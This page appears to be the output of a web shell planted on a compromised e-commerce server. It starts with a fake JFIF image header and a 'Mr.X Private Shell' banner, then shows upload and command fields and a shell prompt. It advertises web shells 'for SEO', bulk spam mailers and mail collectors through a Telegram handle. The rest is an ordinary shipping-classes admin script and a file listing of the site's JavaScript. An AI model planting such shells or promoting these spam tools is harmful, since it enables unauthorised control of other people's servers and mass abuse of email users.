����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
/* global shippingClassesLocalizeScript, ajaxurl */
( function( $, data, wp, ajaxurl ) {
	$( function() {
		var $tbody          = $( '.kkart-shipping-class-rows' ),
			$save_button    = $( '.kkart-shipping-class-save' ),
			$row_template   = wp.template( 'kkart-shipping-class-row' ),
			$blank_template = wp.template( 'kkart-shipping-class-row-blank' ),

			// Backbone model
			ShippingClass       = Backbone.Model.extend({
				changes: {},
				logChanges: function( changedRows ) {
					var changes = this.changes || {};

					_.each( changedRows, function( row, id ) {
						changes[ id ] = _.extend( changes[ id ] || { term_id : id }, row );
					} );

					this.changes = changes;
					this.trigger( 'change:classes' );
				},
				save: function() {
					if ( _.size( this.changes ) ) {
						$.post( ajaxurl + ( ajaxurl.indexOf( '?' ) > 0 ? '&' : '?' ) + 'action=kkart_shipping_classes_save_changes', {
							kkart_shipping_classes_nonce : data.kkart_shipping_classes_nonce,
							changes                 : this.changes
						}, this.onSaveResponse, 'json' );
					} else {
						shippingClass.trigger( 'saved:classes' );
					}
				},
				discardChanges: function( id ) {
					var changes      = this.changes || {};

					// Delete all changes
					delete changes[ id ];

					// No changes? Disable save button.
					if ( 0 === _.size( this.changes ) ) {
						shippingClassView.clearUnloadConfirmation();
					}
				},
				onSaveResponse: function( response, textStatus ) {
					if ( 'success' === textStatus ) {
						if ( response.success ) {
							shippingClass.set( 'classes', response.data.shipping_classes );
							shippingClass.trigger( 'change:classes' );
							shippingClass.changes = {};
							shippingClass.trigger( 'saved:classes' );
						} else if ( response.data ) {
							window.alert( response.data );
						} else {
							window.alert( data.strings.save_failed );
						}
					}
					shippingClassView.unblock();
				}
			} ),

			// Backbone view
			ShippingClassView = Backbone.View.extend({
				rowTemplate: $row_template,
				initialize: function() {
					this.listenTo( this.model, 'change:classes', this.setUnloadConfirmation );
					this.listenTo( this.model, 'saved:classes', this.clearUnloadConfirmation );
					this.listenTo( this.model, 'saved:classes', this.render );
					$tbody.on( 'change', { view: this }, this.updateModelOnChange );
					$( window ).on( 'beforeunload', { view: this }, this.unloadConfirmation );
					$save_button.on( 'click', { view: this }, this.onSubmit );
					$( document.body ).on( 'click', '.kkart-shipping-class-add', { view: this }, this.onAddNewRow );
					$( document.body ).on( 'click', '.kkart-shipping-class-save-changes', { view: this }, this.onSubmit );
				},
				block: function() {
					$( this.el ).block({
						message: null,
						overlayCSS: {
							background: '#fff',
							opacity: 0.6
						}
					});
				},
				unblock: function() {
					$( this.el ).unblock();
				},
				render: function() {
					var classes       = _.indexBy( this.model.get( 'classes' ), 'term_id' ),
						view        = this;

					this.$el.empty();
					this.unblock();

					if ( _.size( classes ) ) {
						// Sort classes
						classes = _.sortBy( classes, function( shipping_class ) {
							return shipping_class.name;
						} );

						// Populate $tbody with the current classes
						$.each( classes, function( id, rowData ) {
							view.renderRow( rowData );
						} );
					} else {
						view.$el.append( $blank_template );
					}
				},
				renderRow: function( rowData ) {
					var view = this;
					view.$el.append( view.rowTemplate( rowData ) );
					view.initRow( rowData );
				},
				initRow: function( rowData ) {
					var view = this;
					var $tr = view.$el.find( 'tr[data-id="' + rowData.term_id + '"]');

					// Support select boxes
					$tr.find( 'select' ).each( function() {
						var attribute = $( this ).data( 'attribute' );
						$( this ).find( 'option[value="' + rowData[ attribute ] + '"]' ).prop( 'selected', true );
					} );

					// Make the rows function
					$tr.find( '.view' ).show();
					$tr.find( '.edit' ).hide();
					$tr.find( '.kkart-shipping-class-edit' ).on( 'click', { view: this }, this.onEditRow );
					$tr.find( '.kkart-shipping-class-delete' ).on( 'click', { view: this }, this.onDeleteRow );
					$tr.find( '.editing .kkart-shipping-class-edit' ).trigger('click');
					$tr.find( '.kkart-shipping-class-cancel-edit' ).on( 'click', { view: this }, this.onCancelEditRow );

					// Editing?
					if ( true === rowData.editing ) {
						$tr.addClass( 'editing' );
						$tr.find( '.kkart-shipping-class-edit' ).trigger( 'click' );
					}
				},
				onSubmit: function( event ) {
					event.data.view.block();
					event.data.view.model.save();
					event.preventDefault();
				},
				onAddNewRow: function( event ) {
					event.preventDefault();

					var view    = event.data.view,
						model   = view.model,
						classes   = _.indexBy( model.get( 'classes' ), 'term_id' ),
						changes = {},
						size    = _.size( classes ),
						newRow  = _.extend( {}, data.default_shipping_class, {
							term_id: 'new-' + size + '-' + Date.now(),
							editing: true,
							newRow : true
						} );

					changes[ newRow.term_id ] = newRow;

					model.logChanges( changes );
					view.renderRow( newRow );
					$( '.kkart-shipping-classes-blank-state' ).remove();
				},
				onEditRow: function( event ) {
					event.preventDefault();
					$( this ).closest('tr').addClass('editing');
					$( this ).closest('tr').find('.view').hide();
					$( this ).closest('tr').find('.edit').show();
					event.data.view.model.trigger( 'change:classes' );
				},
				onDeleteRow: function( event ) {
					var view    = event.data.view,
						model   = view.model,
						classes = _.indexBy( model.get( 'classes' ), 'term_id' ),
						changes = {},
						term_id = $( this ).closest('tr').data('id');

					event.preventDefault();

					if ( classes[ term_id ] ) {
						delete classes[ term_id ];
						changes[ term_id ] = _.extend( changes[ term_id ] || {}, { deleted : 'deleted' } );
						model.set( 'classes', classes );
						model.logChanges( changes );
					}

					view.render();
				},
				onCancelEditRow: function( event ) {
					var view    = event.data.view,
						model   = view.model,
						row     = $( this ).closest('tr'),
						term_id = $( this ).closest('tr').data('id'),
						classes = _.indexBy( model.get( 'classes' ), 'term_id' );

					event.preventDefault();
					model.discardChanges( term_id );

					if ( classes[ term_id ] ) {
						classes[ term_id ].editing = false;
						row.after( view.rowTemplate( classes[ term_id ] ) );
						view.initRow( classes[ term_id ] );
					}

					row.remove();
				},
				setUnloadConfirmation: function() {
					this.needsUnloadConfirm = true;
					$save_button.removeAttr( 'disabled' );
				},
				clearUnloadConfirmation: function() {
					this.needsUnloadConfirm = false;
					$save_button.attr( 'disabled', 'disabled' );
				},
				unloadConfirmation: function( event ) {
					if ( event.data.view.needsUnloadConfirm ) {
						event.returnValue = data.strings.unload_confirmation_msg;
						window.event.returnValue = data.strings.unload_confirmation_msg;
						return data.strings.unload_confirmation_msg;
					}
				},
				updateModelOnChange: function( event ) {
					var model     = event.data.view.model,
						$target   = $( event.target ),
						term_id   = $target.closest( 'tr' ).data( 'id' ),
						attribute = $target.data( 'attribute' ),
						value     = $target.val(),
						classes   = _.indexBy( model.get( 'classes' ), 'term_id' ),
						changes = {};

					if ( ! classes[ term_id ] || classes[ term_id ][ attribute ] !== value ) {
						changes[ term_id ] = {};
						changes[ term_id ][ attribute ] = value;
					}

					model.logChanges( changes );
				}
			} ),
			shippingClass = new ShippingClass({
				classes: data.classes
			} ),
			shippingClassView = new ShippingClassView({
				model:    shippingClass,
				el:       $tbody
			} );

		shippingClassView.render();
	});
})( jQuery, shippingClassesLocalizeScript, wp, ajaxurl );

Filemanager

Name Type Size Permission Actions
api-keys.js File 3.82 KB 0644
api-keys.min.js File 2.15 KB 0644
backbone-modal.js File 3.48 KB 0644
backbone-modal.min.js File 2.19 KB 0644
kkart-clipboard.js File 858 B 0644
kkart-clipboard.min.js File 327 B 0644
kkart-enhanced-select.js File 9.05 KB 0644
kkart-enhanced-select.min.js File 5.24 KB 0644
kkart-orders.js File 1.94 KB 0644
kkart-orders.min.js File 1.13 KB 0644
kkart-product-export.js File 3.54 KB 0644
kkart-product-export.min.js File 1.93 KB 0644
kkart-product-import.js File 2.58 KB 0644
kkart-product-import.min.js File 1.45 KB 0644
kkart-setup.js File 10 KB 0644
kkart-setup.min.js File 6.37 KB 0644
kkart-shipping-classes.js File 7.96 KB 0644
kkart-shipping-classes.min.js File 4.46 KB 0644
kkart-shipping-zone-methods.js File 15.1 KB 0644
kkart-shipping-zone-methods.min.js File 8.52 KB 0644
kkart-shipping-zones.js File 8.92 KB 0644
kkart-shipping-zones.min.js File 4.74 KB 0644
kkart_admin.js File 13.45 KB 0644
kkart_admin.min.js File 8.07 KB 0644
marketplace-suggestions.js File 15.54 KB 0644
marketplace-suggestions.min.js File 6.11 KB 0644
meta-boxes-coupon.js File 1.98 KB 0644
meta-boxes-coupon.min.js File 1.15 KB 0644
meta-boxes-order.js File 45.57 KB 0644
meta-boxes-order.min.js File 27.96 KB 0644
meta-boxes-product-variation.js File 32.37 KB 0644
meta-boxes-product-variation.min.js File 17.56 KB 0644
meta-boxes-product.js File 21.64 KB 0644
meta-boxes-product.min.js File 13.13 KB 0644
meta-boxes.js File 2.47 KB 0644
meta-boxes.min.js File 1.71 KB 0644
network-orders.js File 2.29 KB 0644
network-orders.min.js File 1.19 KB 0644
product-ordering.js File 2.25 KB 0644
product-ordering.min.js File 1.47 KB 0644
quick-edit.js File 6.73 KB 0644
quick-edit.min.js File 4.33 KB 0644
reports.js File 6.31 KB 0644
reports.min.js File 3.17 KB 0644
settings-views-html-settings-tax.js File 11.98 KB 0644
settings-views-html-settings-tax.min.js File 6 KB 0644
settings.js File 5.36 KB 0644
settings.min.js File 3.55 KB 0644
system-status.js File 3.49 KB 0644
system-status.min.js File 1.92 KB 0644
term-ordering.js File 4.17 KB 0644
term-ordering.min.js File 2.19 KB 0644
users.js File 3.76 KB 0644
users.min.js File 1.84 KB 0644